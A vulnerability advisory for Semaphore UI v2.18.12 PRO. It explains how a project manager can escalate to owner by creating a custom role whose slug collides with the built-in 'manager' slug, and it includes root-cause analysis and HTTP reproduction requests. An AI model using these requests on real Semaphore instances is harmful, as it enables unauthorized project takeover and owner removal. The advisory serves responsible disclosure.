Summary

Semaphore resolves a project member's effective permissions in ProjectMiddleware by looking up a role row whose slug matches the member's assigned role, and overwrites the built-in permission bitmask with that row's value. A member holding the built-in manager role creates a custom project role through POST /api/project/{id}/roles, a route gated only by the CanManageProjectResources permission that manager already holds.

The role-creation validator does not reserve the built-in slug names (owner, manager, task_runner, guest) and sets no ceiling on the permission bits a caller may grant. A manager creates a role with slug manager carrying the full bitmask 15, including the two owner-only bits CanUpdateProject and CanManageProjectUsers that manager does not hold. The slug lookup that backs permission resolution ignores project scope, so this attacker-created row is returned on the next request and the manager's effective permissions become owner-equivalent.

Result: a project manager escalates to full owner of the project with one authenticated request, then adds or removes members, changes project settings, deletes the project, or demotes the legitimate owner.

Affected

semaphoreui/semaphore v2.18.12 (current latest as of 2026-06-09) and develop HEAD. Confirmed live-exploitable on v2.18.12 (commit 8a4dcf0); the affected files are unchanged on develop with no fix commit since the tag. Earlier releases that ship PRO custom project roles are likely affected but were not tested.

Requires the PRO build (custom project roles). The official semaphoreui/semaphore Docker image ships this feature active by default, with no subscription or configuration flag.

Pure community builds without custom project roles are not affected: the role-creation endpoint returns 404 there.

Root cause

ProjectMiddleware reads the member's built-in role permissions, then calls GetProjectOrGlobalRoleBySlug and, when a role row shares the member's role slug, replaces the effective permission bitmask with the database value (api/projects/project.go:49-53). GetProjectOrGlobalRoleBySlug(projectID, slug) accepts a project id but runs select * from role where slug=?, ignoring project scope (db/sql/role.go:59-62). ValidateRole checks only that the role name is non-empty, and enforces neither a reserved-slug list nor a permission ceiling (db/Role.go:10-15). The role-creation route POST /api/project/{id}/roles is gated by CanManageProjectResources (api/router.go:294,354), a bit the built-in manager role holds, while the actions it unlocks are gated by the owner-only CanUpdateProject and CanManageProjectUsers (api/router.go:364,380). A manager creates a row with slug manager and permissions 15, and the next request resolves the manager's effective permissions to the owner bitmask.

Reproduction

semaphoreui/semaphore v2.18.12 Docker (official image, PRO build), default config, default roles.

1. An admin or owner adds the attacker to a project with the built-in manager role; the attacker confirms the baseline, where owner-only endpoints are denied.

GET  /api/project/42/role     Cookie: semaphore=<manager-session>
  -> {"role":"manager","permissions":5}
PUT  /api/project/42          Cookie: semaphore=<manager-session>
  -> HTTP/1.1 403 Forbidden

2. The manager creates a custom role whose slug collides with the built-in manager and carries every permission bit.

POST /api/project/42/roles    Cookie: semaphore=<manager-session>
Content-Type: application/json
{"slug":"manager","name":"pwn","permissions":15}
  -> HTTP/1.1 201 Created
     {"slug":"manager","name":"pwn","permissions":15,"project_id":42}

3. On the next request the manager holds the owner bitmask and performs owner-only actions.

GET  /api/project/42/role  -> {"role":"manager","permissions":15}
PUT  /api/project/42       {"id":42,"name":"owned","alert":false}      -> 204 No Content
POST /api/project/42/users {"user_id":99,"role":"task_runner"}         -> 204 No Content

Live-verified: a manager with permissions 5 obtains permissions 15 with one POST, then changes project settings and adds project members, both of which return 403 before the role is created.

Impact

• Full administrative control of the project from a non-owner role: change project settings, delete the project.
• Add, remove, and re-role project members, including granting roles the attacker should not control.
• Removal or demotion of the legitimate project owner.
• Reached by the project manager role in default config with one request; not reachable by task_runner, guest, or unauthenticated callers.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)